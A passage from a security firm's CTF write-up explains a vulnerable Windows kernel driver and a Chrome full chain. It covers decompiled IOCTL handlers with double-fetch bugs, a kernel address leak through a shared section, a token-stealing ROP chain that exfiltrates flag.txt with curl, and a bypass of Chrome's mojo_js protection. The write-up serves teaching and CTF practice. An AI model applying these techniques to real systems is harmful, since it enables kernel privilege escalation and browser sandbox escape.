    a1->DriverUnload = (PDRIVER_UNLOAD)sub_140001700;
    return (unsigned int)IoCreateSymbolicLink(&SymbolicLinkName, &DestinationString); // [2]
  }
  else
  {
    _mm_lfence();
    IoDeleteDevice(a1->DeviceObject);
    return (unsigned int)v2;
  }
}

Let’s now take a closer look at the sub_140001370 function. This function acts as a handler that processes commands based on four specific I/O Control Codes.

Before examining the behavior of each code, it is helpful to briefly review the structure of an IRP (I/O Request Packet), which is used when sending requests to a kernel driver. The IRP is a fundamental data structure in Windows used to represent I/O operations, and it carries information about the requested operation, the involved device, and associated buffers. Understanding how IRPs work is important for analyzing how the driver handles user-mode requests.

__int64 __fastcall sub_140001370(__int64 a1, _IRP *Irp)
{
  unsigned int v3; // [rsp+20h] [rbp-38h]
  unsigned int IOCTL; // [rsp+24h] [rbp-34h]
  unsigned int InputBufferLengtrh; // [rsp+28h] [rbp-30h]
  unsigned int *Event; // [rsp+30h] [rbp-28h]
  struct _IRP *SystemBuffer; // [rsp+38h] [rbp-20h]
  unsigned __int16 *Type3InputBuffer; // [rsp+40h] [rbp-18h]

  v3 = 0;
  Event = (unsigned int *)CAMSchedule::GetEvent((CAMSchedule *)Irp);
  Type3InputBuffer = (unsigned __int16 *)*((_QWORD *)Event + 4);
  SystemBuffer = Irp->AssociatedIrp.MasterIrp;
  InputBufferLengtrh = Event[4];
  IOCTL = Event[6];
  switch ( IOCTL )
  {
    case 0x7101003u:
      v3 = sub_140001274(Type3InputBuffer, InputBufferLengtrh);
      Irp->IoStatus.Information = 0;
      break;
    case 0x7101007u:
      v3 = sub_14000113C(Type3InputBuffer, InputBufferLengtrh);
      Irp->IoStatus.Information = 0;
      break;
    case 0x7101010u:
      v3 = sub_1400014CC(SystemBuffer, InputBufferLengtrh);
      Irp->IoStatus.Information = 0;
      break;
    case 0x7101014u:
      v3 = sub_140001000(SystemBuffer, InputBufferLengtrh, SystemBuffer, Event[2]);
      if ( v3 )
        Irp->IoStatus.Information = 0;
      else
        Irp->IoStatus.Information = 0x10000;
      break;
  }
  Irp->IoStatus.Status = v3;
  IofCompleteRequest(Irp, 0);
  return v3;
}

IRP Structure

An IRP (I/O Request Packet) is a kernel-level structure used to handle I/O requests between the operating system and device drivers. It follows a specific internal layout, and one of its important fields is CurrentStackLocation, which points to an IO_STACK_LOCATION structure. This structure helps each layer in the driver stack process the IRP appropriately.

Every I/O request is handled according to the information stored in the IRP and its associated IO_STACK_LOCATION structure. These fields allow the driver to process each request in a way that fits its purpose.

For example, the sub_140001370 function processes requests based on the I/O Control Code. In this case, the MajorFunction field in the IO_STACK_LOCATION structure has the value 14, which corresponds to IRP_MJ_DEVICE_CONTROL. When the IoControlCode field matches a specific value, the driver executes the function that implements the behavior for that particular I/O request.

The values shown in the sub_140001370 function all come from fields within the IRP structure. Since the IRP contains many fields, it is not practical to explain all of them here. For a full reference, please refer to the official documentation at here.

For the purpose of solving this challenge, we will focus only on the Type3InputBuffer field located inside IRP->CurrentStackLocation. This field points to the user-provided input buffer, which the driver uses to receive data from user space.

__int64 __fastcall sub_140001370(__int64 a1, _IRP *Irp)
{
  ...
  ...
  Type3InputBuffer = (unsigned __int16 *)*((_QWORD *)Event + 4);
  SystemBuffer = Irp->AssociatedIrp.MasterIrp;
  InputBufferLengtrh = Event[4]

Type3InputBuffer is used as the input buffer when a request is sent using the Neither I/O method. This leads us to another important concept: what exactly is the Neither I/O method?

Neither I/O

According to the official documentation [link], the Neither I/O method does not provide a SystemBuffer (a kernel-mode buffer) or an MDL (Memory Descriptor List) when accessing the input or output buffer. Instead, it uses the user-mode virtual address directly. This means that in I/O requests using this method, the data provided by the user remains in user space and is not copied into kernel memory.

In this context, the input buffer is handled through the Type3InputBuffer field within the IO_STACK_LOCATION structure, while the output buffer is accessed via the UserBuffer field in the IRP structure. These pointers reference memory located in user space, and it becomes the driver's responsibility to validate and safely use them.

Identifying whether an I/O Control Routine uses the Neither I/O method is straightforward. If the I/O Control Code, when divided by 4, leaves a remainder of 3, it indicates that the routine uses the Neither I/O method.

In simpler terms, if the last half-byte (nibble) of the I/O Control Code is one of the following values: 3, 7, B, or F, then the corresponding routine is using Neither I/O.

Keep Analyzing sub_140001370

Let’s now continue analyzing the sub_140001370 function. As explained earlier, we can determine that the I/O Control Codes 0x7101003 and 0x7101007 use the Neither I/O method. This means that within the routines handling these codes, the driver uses the Type3InputBuffer field as the input buffer.

Since Neither I/O directly passes a user-mode virtual address to the driver, the buffer referenced by Type3InputBuffer resides in user space, not in kernel memory. Therefore, any data access using this pointer happens in the user’s address space unless the driver explicitly validates or copies it into a safe region.

__int64 __fastcall sub_140001370(__int64 a1, _IRP *Irp)
{
  unsigned int v3; // [rsp+20h] [rbp-38h]
  unsigned int IOCTL; // [rsp+24h] [rbp-34h]
  unsigned int InputBufferLengtrh; // [rsp+28h] [rbp-30h]
  unsigned int *Event; // [rsp+30h] [rbp-28h]
  struct _IRP *SystemBuffer; // [rsp+38h] [rbp-20h]
  unsigned __int16 *Type3InputBuffer; // [rsp+40h] [rbp-18h]

  v3 = 0;
  Event = (unsigned int *)CAMSchedule::GetEvent((CAMSchedule *)Irp);
  Type3InputBuffer = (unsigned __int16 *)*((_QWORD *)Event + 4);
  SystemBuffer = Irp->AssociatedIrp.MasterIrp;
  InputBufferLength = Event[4];
  IOCTL = Event[6];
  switch ( IOCTL )
  {
    case 0x7101003u:
      v3 = sub_140001274(Type3InputBuffer, InputBufferLength);
      Irp->IoStatus.Information = 0;
      break;
    case 0x7101007u:
      v3 = sub_14000113C(Type3InputBuffer, InputBufferLength);
      Irp->IoStatus.Information = 0;
      break;
    case 0x7101010u:
      v3 = sub_1400014CC(SystemBuffer, InputBufferLength);
      Irp->IoStatus.Information = 0;
      break;
    case 0x7101014u:
      v3 = sub_140001000(SystemBuffer, InputBufferLength, SystemBuffer, Event[2]);
      if ( v3 )
        Irp->IoStatus.Information = 0;
      else
        Irp->IoStatus.Information = 0x10000;
      break;
  }
  Irp->IoStatus.Status = v3;
  IofCompleteRequest(Irp, 0);
  return v3;
}

Root Cause Analysis: Stack-based buffer overflow

Let’s analyze the function sub_140001274, which handles the I/O Control Code 0x7101003. This function copies data from a user-supplied memory region into a local kernel buffer, named Dst, by following five main steps:

  1. The function first checks whether Type3InputBuffer is a valid user-mode pointer and whether its size is at least 0x10 bytes.

  2. It then examines the first two bytes of Type3InputBuffer and checks whether the value is greater than 0x40 and not equal to zero.

  3. The function reads an 8-byte value from the address at an 8-byte offset within Type3InputBuffer. This value, which represents another pointer, is stored in the local variable v4.

  4. Using ProbeForRead, it validates whether the address stored in v4 is a readable user-mode address.

  5. If all the above checks pass, the function copies a number of bytes equal to the value read in step 2, from the memory pointed to by v4 into the local variable Dst.

Through this process, the driver attempts to read and copy user-supplied data, but as we will see later, this logic can be exploited if the validations are incomplete or misused.

__int64 __fastcall sub_140001274(unsigned __int16 *Type3InputBuffer, unsigned int InputBufferLength)
{
  unsigned __int16 v3; // [rsp+20h] [rbp-68h]
  volatile void *v4; // [rsp+28h] [rbp-60h]
  _BYTE Dst[64]; // [rsp+30h] [rbp-58h] BYREF

  memset(Dst, 0, sizeof(Dst));
  if ( !Type3InputBuffer || InputBufferLength < 0x10 ) // [1]
    return 3221225485LL;
  ProbeForRead(Type3InputBuffer, 0x10u, 8u); // [1]
  v3 = *Type3InputBuffer; // [2]
  if ( *Type3InputBuffer > 0x40u || !v3 ) // [2]
    return 3221225485LL;
  v4 = (volatile void *)*((_QWORD *)Type3InputBuffer + 1); // [3]
  ProbeForRead(v4, v3, 8u); // [4]
  memcpy(Dst, (const void *)v4, *(unsigned int *)Type3InputBuffer); // [5]
  return 0;
}

At first glance, it appears that all user-supplied addresses and values are properly validated, making the function seem secure. However, remember that Type3InputBuffer points to user-mode memory.

The flaw in this code arises in step [2]. In this step, the function reads the first two bytes of Type3InputBuffer and checks whether the value falls within a valid range. But in step [5], when calling memcpy, it does not use the previously stored v3 value. Instead, it reads from Type3InputBuffer again, causing a double fetch.

This allows the user to trigger a race condition and copy more than 0x40 bytes into the local variable Dst.

However, in order to exploit this stack-based buffer overflow vulnerability, leaking a kernel address is essential. So where does the vulnerability that allows kernel address leakage exist?

Root Cause Analysis: Information Disclosure

Let’s analyze the function sub_14000113C, which handles the I/O Control Code 0x7101007. This routine also uses the Neither I/O method. The function can be broken down into the following four steps:

  1. It first checks whether Type3InputBuffer is not NULL and whether the input buffer length is at least 8 bytes. It then uses the ProbeForRead function to verify that Type3InputBuffer is a valid user-mode address.

  2. It checks whether the first 2-byte value of Type3InputBuffer is non-zero and less than or equal to 0x40.

  3. It allocates a memory pool of size 0x10000 bytes.

  4. It copies the contents of the local variable Dst into the allocated pool, using the size specified in the first 2 bytes of Type3InputBuffer.

  5. The allocated pool is then stored in the global array qword_140003080.

This function, like the previous one, is also vulnerable to a double fetch between steps [2] and [4]. Because of this, more than 0x40 bytes of the Dst variable can be copied into the pool. The question is: where can this copied data be read from?

__int64 __fastcall sub_14000113C(_WORD *Type3InputBuffer, unsigned int InputBufferLength)
{
  int v3; // [rsp+24h] [rbp-64h]
  void *Pool2; // [rsp+28h] [rbp-60h]
  _BYTE Dst[64]; // [rsp+30h] [rbp-58h] BYREF

  memset(Dst, 0, sizeof(Dst));
  if ( !Type3InputBuffer || InputBufferLength < 8 ) // [1]
    return 3221225485LL;
  ProbeForRead(Type3InputBuffer, 8u, 8u); // [1]
  if ( (unsigned __int16)*Type3InputBuffer > 0x40u || !*Type3InputBuffer ) // [2]
    return 3221225485LL;
  Pool2 = (void *)ExAllocatePool2(256, 0x10000, 4673356); // [3]
  if ( !Pool2 )
    return 3221225632LL;
  memcpy(Pool2, Dst, (unsigned __int16)*Type3InputBuffer); // [4]
  v3 = _InterlockedIncrement(dword_140003880);
  if ( v3 > 256 )
    return 3221225473LL;
  qword_140003080[v3 - 1] = Pool2; // [5]
  return 0;
}

The answer lies in the function sub_1400014CC, which handles the I/O Control Code 0x7101010. This function, named LoggingMemoryInformationForInternalMemoryStorageDriver, performs the following steps.

First, it creates a Section. Then, it maps 0x10000 bytes of memory to the Section. After that, it copies the contents from the global array qword_140003080 into the mapped Section memory. Finally, it unmaps the Section and closes its handle in Kernel Mode.

This raises the question: How the data inside the Section can be accessed if it is unmapped and closed immediately.

The answer is that on Windows, if a user-mode process opens the Section in shared mode beforehand, the kernel is unable to fully unmap and close the Section. By occupying the Section from user mode before the driver releases it, it becomes possible to access the data stored inside, including leaked kernel addresses.

__int64 __fastcall sub_1400014CC(__int64 *a1, unsigned int a2)
{
  NTSTATUS v3; // [rsp+50h] [rbp-78h]
  NTSTATUS v4; // [rsp+50h] [rbp-78h]
  __int64 v5; // [rsp+58h] [rbp-70h]
  PVOID BaseAddress; // [rsp+60h] [rbp-68h] BYREF
  void *SectionHandle; // [rsp+68h] [rbp-60h] BYREF
  ULONG_PTR ViewSize; // [rsp+70h] [rbp-58h] BYREF
  union _LARGE_INTEGER MaximumSize; // [rsp+78h] [rbp-50h] BYREF
  _OBJECT_ATTRIBUTES ObjectAttributes; // [rsp+80h] [rbp-48h] BYREF
  struct _UNICODE_STRING DestinationString; // [rsp+B0h] [rbp-18h] BYREF

  if ( !a1 || a2 < 8 )
    return 3221225485LL;
  v5 = *a1;
  if ( (unsigned __int64)*a1 >= 0x100 )
    return 3221225485LL;
  if ( !qword_140003080[v5] )
    return 3221225485LL;
  MaximumSize.QuadPart = 0x10000;
  RtlInitUnicodeString(
    &DestinationString,
    L"\\\\BaseNamedObjects\\\\LoggingMemoryInformationForInternalMemoryStorageDriver");
  ObjectAttributes.Length = 48;
  ObjectAttributes.RootDirectory = 0;
  ObjectAttributes.Attributes = 512;
  ObjectAttributes.ObjectName = &DestinationString;
  ObjectAttributes.SecurityDescriptor = 0;
  ObjectAttributes.SecurityQualityOfService = 0;
  v3 = ZwCreateSection(&SectionHandle, 0xF001Fu, &ObjectAttributes, &MaximumSize, 4u, 0x8000000u, 0); // [1]
  if ( v3 >= 0 )
  {
    BaseAddress = 0;
    ViewSize = 0x10000; // [2]
    v4 = ZwMapViewOfSection(
           SectionHandle,
           (HANDLE)0xFFFFFFFFFFFFFFFFLL,
           &BaseAddress,
           0,
           0,
           0,
           &ViewSize,
           ViewUnmap,
           0,
           4u); // [2]
    if ( v4 >= 0 )
    {
      memcpy(BaseAddress, (const void *)qword_140003080[v5], ViewSize); // [3]
      ZwUnmapViewOfSection((HANDLE)0xFFFFFFFFFFFFFFFFLL, BaseAddress); // [4]
      ZwClose(SectionHandle); // [4]
      return 0;
    }
    else
    {
      _mm_lfence();
      ZwClose(SectionHandle);
      return (unsigned int)v4;
    }
  }
  else
  {
    _mm_lfence();
    return (unsigned int)v3;
  }
}

For reference, some of the leaked kernel addresses are shown below. Since parts of both ntoskrnl and the kernel driver's addresses have been leaked, there should be no issue in constructing a Stack ROP chain 👍

/*
1: kd> dps rdx
ffff830f`511a25a0  00000000`00000000
ffff830f`511a25a8  00000000`00000000
ffff830f`511a25b0  00000000`00000000
ffff830f`511a25b8  00000000`00000000
ffff830f`511a25c0  00000000`00000000
ffff830f`511a25c8  00000000`00000000
ffff830f`511a25d0  00000000`00000000
ffff830f`511a25d8  00000000`00000000
ffff830f`511a25e0  ffff492d`18495274
ffff830f`511a25e8  fffff803`9da1973a nt!MiResolvePrivateZeroFault+0x58a
ffff830f`511a25f0  ffffe782`fb146000
ffff830f`511a25f8  fffff803`340b1434 MemoryStorage+0x1434
ffff830f`511a2600  000001e7`6f4b6110
ffff830f`511a2608  ffff830f`00000010
ffff830f`511a2610  00000000`00000000
ffff830f`511a2618  fffff803`9db239f9 nt!KeLeaveCriticalRegionThread+0x9

1: kd> dq nt!KeLeaveCriticalRegionThread+0x9-nt
00000000`003239f9  ????????`???????? ????????`????????

1: kd> dq nt!MiResolvePrivateZeroFault+0x58a-nt
00000000`0021973a  ????????`???????? ????????`????????
*/

Exploit

Now that all necessary information has been gathered, we can exploit the stack-based buffer overflow using a ROP chain to obtain SYSTEM privileges. The ROP chain operates in the following sequence:

  1. Before entering the ROP chain, a cmd process running with Medium Integrity is created. This process continuously attempts to read C:\\Windows\\System32\\flag.txt using the curl command.

  2. Using the PID of the cmd process, the ROP chain calls the PsLookupProcessByProcessId function to retrieve the EPROCESS address of the cmd process.

  3. The same function is called again to obtain the EPROCESS address of the System process. (In Windows, the PID of the System process is always 4.)

  4. The Token value of the cmd process is then overwritten with the Token value from the System process.

Once this chain completes, the cmd process that was initially created will be running with SYSTEM privileges. However, the process is not yet complete. Because the ROP chain was executed in Kernel Context, control must be returned to User Context. Additionally, some time is needed for the cmd process to read flag.txt and send the content outward.

Although functions like KiKernelSysretExit could be used to return to User Context, this particular exploit only required a brief delay to allow the data transmission. To achieve this, a simple \\xEB\\xFE gadget was used at the end of the ROP chain, which causes an infinite self-jump, effectively stalling the kernel and giving the user-mode process enough time to complete its task.

Part 4: FullChain

RCE to SBX

The existing RCE-SBX chaining method was to change enable_mojo_js to True. However, a year ago, Chrome introduced a new Mitigation [link] to prevent exploitation.

Mitigation Detail

The existing method to enable mojo_js was as follows:

  1. Find the current RenderFrameImpl in the chrome binary,

  2. Overwrite the member variable enable_mojo_js of RenderFrameImpl

However, the new mitigation does the following:

  1. If ScriptContext is not finished, grant ReadOnly permission to enable_mojo_js area via ProtectMemory.

  2. Mojo binding can be enabled only when ScriptContext is finished.

That is, it is impossible to overwrite mojo_js_binding during Script execution (= during Exploitation ).

Now, there is a difficulty in chaining with the existing method.

Bypass

We can do endless things after achieving arbitrary code execution. For example, “making ReadOnly memory into ReadWrite memory”.

As mentioned earlier, whether enable_mojo_js is enabled or not is now managed in ExecuteContext.

The default flags applied to the new ExecuteContext are managed globally with ProtectedMemory applied.

In other words, if the global enable_mojo_js default flags managed by (ReadOnly)ProtectedMemory are set to true and a new Script Context is created(Reload), the context will be able to use mojo bindings.

We can use base::AutoWritableMemoryBase::SetMemoryReadWrite to grant rw permission to protected memory, and base::AutoWritableMemoryBase::SetMemoryRead to grant readonly permission to protected memory.

If we execute the shellcode that does this and then execute windows.reload, we can normally obtain a context where mojo_js_binding is activated.


DEMO

Epilogue

Web browsers remain high-value targets consistently exploited in numerous in-the-wild attacks. Despite extensive security mitigations introduced by Chrome over the years, our full-chain exploit demonstrates that bypassing these protections remains feasible. Similarly, although Windows Control Flow Guard (CFG) provides robust protection mechanisms, sophisticated techniques exist to effectively circumvent these defenses.

Creating this CTF challenge series has been a rewarding experience, and we sincerely hope participants enjoyed tackling these challenges as much as we enjoyed developing them. Our goal was not only to provide engaging, technically intricate challenges but also to reflect real-world exploitation scenarios, showcasing the latest trends and bypass techniques employed in actual threat environments.

Moving forward, we are committed to continuing our exploration of emerging exploitation techniques and developing challenges aligned with the latest cybersecurity trends. Our research journey is ongoing, and we have no intention of slowing down. In future posts, we aim to delve deeper into analyzing genuine in-the-wild vulnerabilities, demonstrating real-world bug chaining techniques, and sharing our insights and methodologies with the broader security community.

Thanks to the all participants and readers for your interest and engagement. Stay tuned for more groundbreaking research and practical insights.

EnkiWhiteHat

EnkiWhiteHat

Offensive security experts delivering deeper security through an attacker's perspective.

Offensive security experts delivering deeper security through an attacker's perspective.

Prepare Before a Security Incident Occurs

The Beginning of Flawless Security System, From the Expertise of the No.1 White Hacker

Prepare Before
a Security Incident Occurs

The Beginning of Flawless Security System, From the Expertise of the No.1 White Hacker

ENKI WhiteHat provides unparalleled security

with unrivaled expertise.

Contact

biz@enki.co.kr

+82 2-402-1337

167, Songpa-daero, Songpa-gu, Seoul, Republic of Korea
(Tera Tower Building B, Units 1214–1217)

ENKI WhiteHat Co., Ltd.

Copyright © 2025. All rights reserved.

ENKI WhiteHat provides unparalleled security

with unrivaled expertise.

Contact

biz@enki.co.kr

+82 2-402-1337

167, Songpa-daero, Songpa-gu, Seoul, Republic of Korea
(Tera Tower Building B, Units 1214–1217)

ENKI WhiteHat Co., Ltd.

Copyright © 2025. All rights reserved.

ENKI WhiteHat provides unparalleled security

with unrivaled expertise.

Contact

biz@enki.co.kr

+82 2-402-1337

167, Songpa-daero, Songpa-gu, Seoul, Republic of Korea
(Tera Tower Building B, Units 1214–1217)

ENKI WhiteHat Co., Ltd.

Copyright © 2025. All rights reserved.